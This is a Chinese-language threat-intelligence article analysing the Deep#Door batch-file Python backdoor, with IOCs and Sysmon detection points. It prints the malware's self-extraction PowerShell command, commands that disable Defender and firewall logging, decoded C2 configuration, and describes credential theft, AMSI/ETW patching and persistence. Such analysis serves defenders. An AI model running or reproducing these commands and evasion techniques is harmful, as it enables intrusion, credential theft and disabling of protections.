当前位置:首页>python>Deep#Door Python 后门攻击链分析

Deep#Door Python 后门攻击链分析

  • 2026-10-11 08:25:37
Deep#Door Python 后门攻击链分析

威胁情报快报 · THREAT INTELLIGENCE

Deep#Door:一个批处理文件投送 Python 后门的完整攻击链

Securonix Threat Research · 2026 年 4 月披露 · 技术内容仅供授权研究,请勿非法使用

▌ 速览

受害者双击一个名为 install_obf.bat 的批处理文件后,系统 Defender 随即被静默关闭,一段 Python 后门代码从该文件末尾被提取出来并写入磁盘执行。整个过程只涉及单一文件,无需网络二次下载——这便是 Deep#Door 的投送方式。

一、BAT 文件自提取:%~f0 读取自身

%~f0 是 Windows 批处理的内置变量,指向当前正在运行的批处理文件本身的完整路径。攻击者利用这一点,在 BAT 文件末尾嵌入 Python 后门代码,并通过以下 PowerShell 命令将其提取、写入磁盘并执行:

# install_obf.bat — 核心自提取与落地命令
powershell -NoP -Command "
$f=[IO.File]::ReadAllText('%~f0');
$m=[regex]::Match($f,'(?s)#PYTHON_START\r?\n(.+?)\r?\n#PYTHON_END');
if($m.Success){[IO.File]::WriteAllText(
'%LOCALAPPDATA%\SystemServices\svc.py',
$m.Groups[1].Value)}"

执行流程:① 读取自身全文 → ② 正则定位 #PYTHON_START / #PYTHON_END 之间的内容 → ③ 写入 %LOCALAPPDATA%\SystemServices\svc.py → ④ 调用 python.exe 执行

落地执行之前,BAT 先通过 PowerShell 关闭系统防护:

# 禁用 Windows Defender + 防火墙日志
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableBlockAtFirstSeen $true
netsh advfirewall set allprofiles logging droppedconnections disable

二、svc.py 技术分析:后门功能全览

落地的 svc.py 经过 Base64 + XOR 双重混淆。Securonix 研究人员完成解码,得到以下关键配置:

# svc.py — 混淆解码函数与运行时配置
def _d(s):  return base64.b64decode(s).decode()          # Base64 解码
def _xd(data, key=0x55): return bytes(b ^ key for b in data) # XOR 解密
# C2 地址与认证密钥(Securonix 解码结果)
_H = _d("Ym9yZS5wdWI=")        # → "bore.pub"
_K = _d("Y2hhbmdlbWUxMjM=")    # → "changeme123"
_P = [41234+i for i in range(10)]  # → 端口 41234–41243

C2 服务是 bore.pub,一个开源合法的 TCP 隧道服务(类似 ngrok)。攻击者无需专属 C2 服务器,流量混入合法隧道中,域名信誉无异常,IP 黑名单规则失效。

监控采集模块:

函数
功能
keylog_start()
记录所有按键及当前活动窗口标题
_screenshot()
定时全屏截图
clipmon_start()
实时监控剪贴板内容(密码、令牌、URL)
_webcam_capture()
调用摄像头拍照
_microphone_record()
麦克风录音

凭证窃取范围:

▸ Chrome / Edge:读取 SQLite 登录数据库,通过 Windows DPAPI 解密

▸ Firefox:解析 logins.json + key4.db,利用 NSS 密钥体系

▸ SSH 私钥:扫描 ~\.ssh\id_rsa、id_ed25519 等所有私钥文件

▸ 云平台凭证:读取 ~/.aws/credentials、~/.azure/、GCP 服务账号 JSON,并枚举 AWS/Azure 环境变量

▸ Wi-Fi 密码:调用 netsh wlan show profile … key=clear

svc.py 模块架构与 C2 通信流程

三层内存级 EDR 对抗

▸ _patch_amsi():定位 amsi.dll 中的 AmsiScanBuffer,写入 ret 指令——无论扫描什么内容都直接返回"无威胁"

▸ _patch_etw():修补 ntdll.dll 中的 NtTraceEvent,阻断 Windows 事件跟踪(ETW)上报

▸ _unhook_ntdll():从磁盘加载干净的 ntdll 副本覆盖内存中被 EDR 注入钩子的版本,移除所有用户态监控点。注意顺序:必须先执行 unhook,再执行 ETW patch——反序会导致干净副本恢复 ETW 原始字节,使 patch 失效。

三、五层持久化 + 守护线程

后门同时建立五条持久化通道,并启动一个守护线程(Watchdog Thread)持续监控——任意一条被删除即自动恢复,手动清除难度极高。

层
方式
路径 / 技术
1
Startup 文件夹 VBScript
%APPDATA%\…\Startup\SystemServices.vbs
2
注册表 Run
HKCU\…\CurrentVersion\Run
3
注册表 RunOnce
HKCU\…\CurrentVersion\RunOnce
4
计划任务(WMI)
C:\Windows\Tasks\(WMI API 创建)
5
WMI 事件订阅
无文件触发,最难检测(T1546.003)

VBScript 启动器通过 wscript.exe 以无窗口方式(参数 0)静默拉起 Python 进程,用户不可见。

此外后门保留破坏性指令:MBR 覆写(致系统无法引导)、强制蓝屏(BSOD)、Fork Bomb 资源耗尽,由攻击者远程触发。

蓝队检测与防御关键指标

四、IOC 速查表

类别
值
install_obf.bat
2c2386ef6416ce821e377223d2a3b79f2b7ea9e8dc9ed2549f4676fe060b7ddd
svc.py(混淆版)
84515368e2f8ff4467e38bf48dabb267b5b895f54df5be5ceb5428a414ae15e9
svc.py(解码版)
4e3ae82eed8980bbc396020c197c767ba22483a124a00ee04c264dd394378485
SystemServices.vbs
c6f00569913cd6bd1017b26bd33bbb28f1d92b9c9e0f830adcc24af59e181d3e
C2 域名
bore[.]pub
C2 端口范围
41234 – 41243
后门落地路径
%LOCALAPPDATA%\SystemServices\svc.py
持久化文件路径
%APPDATA%\…\Startup\SystemServices.vbs

五、检测要点

主机侧(Sysmon):

▸ Event ID 1:python.exe 以 wscript.exe 或 cmd.exe 为父进程启动

▸ Event ID 11:%LOCALAPPDATA%\SystemServices\ 下出现 .py 文件写入

▸ Event ID 13:HKCU\…\CurrentVersion\Run 出现新注册项

▸ Event ID 4688:命令行中出现 Set-MpPreference -DisableRealtimeMonitoring

网络侧:

▸ 出站持续连接到 bore.pub

▸ TCP 连接尝试端口范围 41234–41243

核心检测信号:
批处理文件通过 %~f0 读取自身内容——这在合法业务脚本中几乎不存在。监控到该模式,即可锁定此类攻击的投送阶段。

六、样本获取

本次活动涉及的四个样本均已收录于 MalwareBazaar,研究人员可通过以下方式获取:

▸ 搜索验证:在 bazaar.abuse.ch 或 virustotal.com 直接粘贴上方 SHA256 哈希值搜索

▸ 批量下载:注册 abuse.ch 免费账号获取 API Key,调用 mb-api.abuse.ch/api/v1/ 下载(ZIP 包,密码 infected)

▸ 沙盒行为报告:any.run(app.any.run)免费账号可查看动态分析报告,无需下载文件即可观察完整执行行为

▸ 原始研究报告:Securonix 官方博客含完整 IOC 包:securonix.com/blog/deepdoor-python-backdoor-and-credential-stealer/

Deep#Door 展示了一种极简的攻击设计思路:单文件完成全部投送动作——BAT 自提取后门代码、自关闭防护、自建持久化。防御方若只盯着 python.exe 进程或 svc.py 文件名,很容易被绕过;真正的检测盲区,在于批处理文件自读取这一前期行为。

MITRE ATT&CK:T1059.003 / T1547.001 / T1562.001 / T1555.003 / T1572 / T1546.003

情报来源:Securonix Threat Research(2026.04)| 样本平台:MalwareBazaar · VirusTotal · any.run

最新文章

随机文章